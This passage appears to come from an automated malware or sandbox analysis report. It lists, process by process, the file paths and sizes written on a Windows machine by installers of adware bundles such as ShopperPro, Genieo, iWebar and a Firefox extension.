C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\userCode\background.js (433 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\2ea23f6c8fc5e6e826c0b5a7b405c50e.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\7b66512ae58bf51f643db2b1aed2d802.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\ffCoreFilesIndex.txt (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\253.js (741 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\options.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\3c662dc1cdbc867f53b4b8ae0b4aed3b.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\0247da96cf7126256ea3514e297fc176.js (947 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\743a1fe0602ff2213643bb065da8ca75.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\1.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\985ca8e2b010bf7803bb9569b9a3844d.js (964 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\98.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\d644038a21bdcdf3409961424eefec98.js (649 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon128.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\panelarrow-up.png (921 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\5afb41836e05bc69e51da913f6d04fed.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\a017e86727e3d2e15390c7406eee9e91.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\0fd01671b9ce203634fc6312eb81990c.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\17.js (2473 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\831032e57e6c551be6f95792bcec13da.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\9b7235c7739b901ddf58d88a9d5c2da5.js (28 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\5dfbd597bc3ba10da416305935f59b21.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\d473f675af061e5e9b6f38148b02a09a.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon48.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\popup.html (353 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\skin.css (899 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\05019ea1a4090e489bca9e70bff04d10.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\browser.xul (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\9.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\f2be8586ac139e65a590b54fce2d855c.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\102.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\update.css (144 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\391.js (801 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\220.js (1592 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\183.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\a2b712b8559b7f7bc50a8c04e4ec1268.js (26 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\354.js (5118 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\63d8dfb6ed59c1ef51f8323fce77b3ce.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\288.js (969 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\dialog.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button2.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\64.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\7.js (689 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\aec16b6465737e3d904f4912c55f2eed.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\userCode\extension.js (31 bytes)

The process wpm_v20.0.0.2227.exe:3016 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\WindowsMangerProtect\ProtectWindowsManager.exe (2444 bytes)

The process ins_shopperpro.exe:3996 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiF104.tmp\NK.lky (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiF104.tmp\setup1.exe (144456 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiF103.tmp (154091 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiF104.tmp\setup.exe (1604939 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiF104.tmp\D1958.dll (30 bytes)

The process Jljudlej.exe:3976 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Windows\Tasks\b26f5a73-8099-47b6-80d1-63be8518ea67-5_user.job (74 bytes)
%Program Files% (x86)\iWebar\b26f5a73-8099-47b6-80d1-63be8518ea67.xpi (2321 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\installer.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst313F.tmp\wdyvlmgk.dll (8 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_3976_Jljudlej.log (14127 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd312E.tmp (561761 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst313F.tmp\ssrlncfjy.dll (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst313F.tmp (4 bytes)
C:\Windows\Tasks\b26f5a73-8099-47b6-80d1-63be8518ea67-5.job (74 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst313F.tmp\eerrav.dll (13 bytes)
%Program Files% (x86)\iWebar\b26f5a73-8099-47b6-80d1-63be8518ea67-5.exe (7971 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst313F.tmp\472751 (97678 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst313F.tmp\ffkzn.dll (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst313F.tmp\zejghs.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst313F.tmp\287994 (3429 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst313F.tmp\System.dll (808 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst313F.tmp\eodefhbq.dll (23 bytes)
%Program Files% (x86)\iWebar\b26f5a73-8099-47b6-80d1-63be8518ea67-4.exe (9654 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst313F.tmp\xehbx.dll (3730 bytes)
%Program Files% (x86)\iWebar\Uninstall.exe (601 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\ipgeoapi_com[1].json (40 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst313F.tmp\b26f5a73-8099-47b6-80d1-63be8518ea67-4.dll (46916 bytes)
%Program Files% (x86)\iWebar\utils.exe (70317 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst313F.tmp\hmnlq.dll (31245 bytes)

The process HPNotify.exe:3416 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\XTab\conf (1750 bytes)
%Program Files% (x86)\XTab\BrowerWatchFF.dll (24 bytes)
%Program Files% (x86)\XTab\BrowerWatchCH.dll (24 bytes)
%Program Files% (x86)\XTab\IeWatchDog.dll (24 bytes)
%Program Files% (x86)\XTab\BrowserAction.dll (49 bytes)

The process regsvr32.exe:2836 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\ShopperPro.dll (446 bytes)

The process regsvr32.exe:3744 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\ShopperPro64.dll (532 bytes)

The process lspinst.exe:3636 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YouTube Accelerator\instlsp.log (253 bytes)
C:\ProgramData\TEMP:56E2E879 (375 bytes)

The process lspinst.exe:3780 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YouTube Accelerator\instlsp.log (295 bytes)
C:\ProgramData\TEMP:56E2E879 (375 bytes)

The process vlc-cache-gen.exe:2528 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\VideoLAN\VLC\plugins\lua\liblua_plugin.dll (311 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\plugins.dat.2528 (135036 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\gui\libqt4_plugin.dll (3153 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\gui\libskins2_plugin.dll (146 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\text_renderer\libfreetype_plugin.dll (700 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\visualization\libvisual_plugin.dll (65 bytes)

The process framework_setup.gen:3832 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\targetDefaultPortals.xml (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\en_tmp_template.txt (61 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\gad_categories.txt (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\xstream-1.3.1.jar (15168 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\all_datetime.stop (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\bin\debugInfoCollector.l4j.ini (115 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\nl_stops2_stemmed.stop (416 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\Info_1_7.plist (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\lang\drafts\de_top_1000_draft.txt (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\lang\da_topwords.txt (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\tr_stops_stemmed.stop (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\servlet-api-2.5.jar (4992 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\nl_stops_stemmed.stop (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\heb_white_list.txt (8560 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\smtp.jar (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\bin\genieo_console.l4j.ini (118 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\he_common500cleaned.stop (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\x64\NativeUtils.dll (21216 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\protostuff-core-1.0.1.jar (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\da_stops_stemmed.stop (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\sac.jar (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\en_MergedStemmedEnglish.stop (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\NativeUtils.dll (16424 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\lang\en_topwords.txt (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdD652.tmp (300445 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\jetty-webapp-7.3.0.v20110203.jar (32128 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\res\tray_icons_mac\tray_mac_installing.png (345 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\rome-1.0.jar (8184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\it_top_500_stemmed.stop (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\uninstall\framework_uninstall.exe (825 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\lang\drafts\es_top_1000_draft.txt (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\lang\nl_topwords.txt (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\en_top_500_stemmed.stop (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\en_numbers.stop (54 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\xpp3_min-1.1.4c.jar (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\sqlite-jdbc-3.7.2-windows.jar (20624 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\lang\drafts\it_top_1000_draft.txt (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\no_stops_stemmed1.stop (559 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\no_stops_stemmed_more.stop (583 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\de_top_500_stemmed.stop (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\res\engine_tray_icon_dev.png (632 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\ro_morestops.stop (53 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\ini4j-0.5.1.jar (3312 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\de_merged_stemmed.stop (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\modules-0.3.2.jar (9320 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\dd-plist.jar (1856 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\lang\en_nationalities.txt (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\explicit\bannedList.dat (388 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\commons-codec-1.6.jar (8560 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\categories_outb.txt (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\categories_mapping_outb.txt (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\protostuff-runtime-1.0.1.jar (9320 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\slf4j-api-1.6.0.jar (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\Info.plist (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\all_misc.stop (38 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\cssparser-0.9.5.jar (9320 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\res\tray_icons_mac\tray_mac_disabled.png (421 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\en_anabel.stop (319 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\en_date_time.stop (499 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\defaultPortals.xml (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\log4j-1.2.15.jar (13368 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\commons-logging-1.1.1.jar (1856 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\lang\ro_topwords.txt (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\defaultFeeds.xml (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\res\genieoLogo24.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\readme.txt (610 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\httpcore-4.2.jar (8184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\slf4j-log4j12-1.6.0.jar (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\es_merged_stemmed.stop (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\lang\es_topwords.txt (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\he_numbers_and_currencies.stop (78 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdD653.tmp\NSISdl.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\lang\hu_topwords.txt (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\log4j_release_mac.properties (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\restfb-1.6.12.jar (10136 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\ru_stops_stemmed2.stop (892 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\httpmime-4.2.jar (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\nl_stops_stemmed_new.stop (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\lang\sitelang.txt (150 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\res\tray_icons_mac\tray_mac_new_items.png (343 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\categories.txt (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\protostuff-collectionschema-1.0.1.jar (1856 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\product_domains.txt (571 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\ru_merged_stemmed.stop (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\log4j_release.properties (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\lang\tr_topwords.txt (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\lang\it_topwords.txt (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\lang\texts\fr_lang.properties (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\it_merged_stemmed.stop (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\hu_stops_stemmed.stop (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\all_ToBeAddedToStop.stop (117 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\pt_stops_stemmed_v0.stop (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\engine.properties (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\engine.jar (65930 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\res\zombie_icon.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\fr_merged_stemmed.stop (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\categories_ob_withadult.txt (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\log4j_dev.properties (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\lang\sv_topwords.txt (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\he_date_time.stop (342 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\de_merged_stemmed2.stop (347 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\fr_top_500_stemmed.stop (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\he_tmp_template_all.txt (176 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\lang\fr_topwords.txt (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\apache-mime4j-0.6.jar (12088 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\pt_stops_stemmed.stop (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\lang\fi_topwords.txt (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\JGoogleAnalyticsTracker-1.2.1-SNAPSHOT.jar (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\lucene-snowball-3.0.0.jar (4992 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\isgenieoalive.dat (1980 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\gad_categories_multilingual.txt (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\res\tray_icons_mac\tray_mac.png (333 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\lang\drafts\en_top_1000_draft.txt (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\signpost-core-1.2.1.1.jar (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\lib\jdom.jar (5520 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\explicit\explicit_content.dat (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\res\engine_tray_icon.png (723 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\lang\texts\en_lang.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\no_stops_stemmed.stop (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\bin\debugInfoCollector.exe (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\pt_stops_more.stop (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\explicit\explicitList.dat (491 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\lang\pt_topwords.txt (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\lang\texts\ru_lang.properties (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\sv_stops_stemmed.stop (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\lang\texts\default.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\lang\de_topwords.txt (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\explicit\bannedListByURL.dat (115 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application\Engine\conf\stopwords\en_25nouns_wiki.stop (169 bytes)
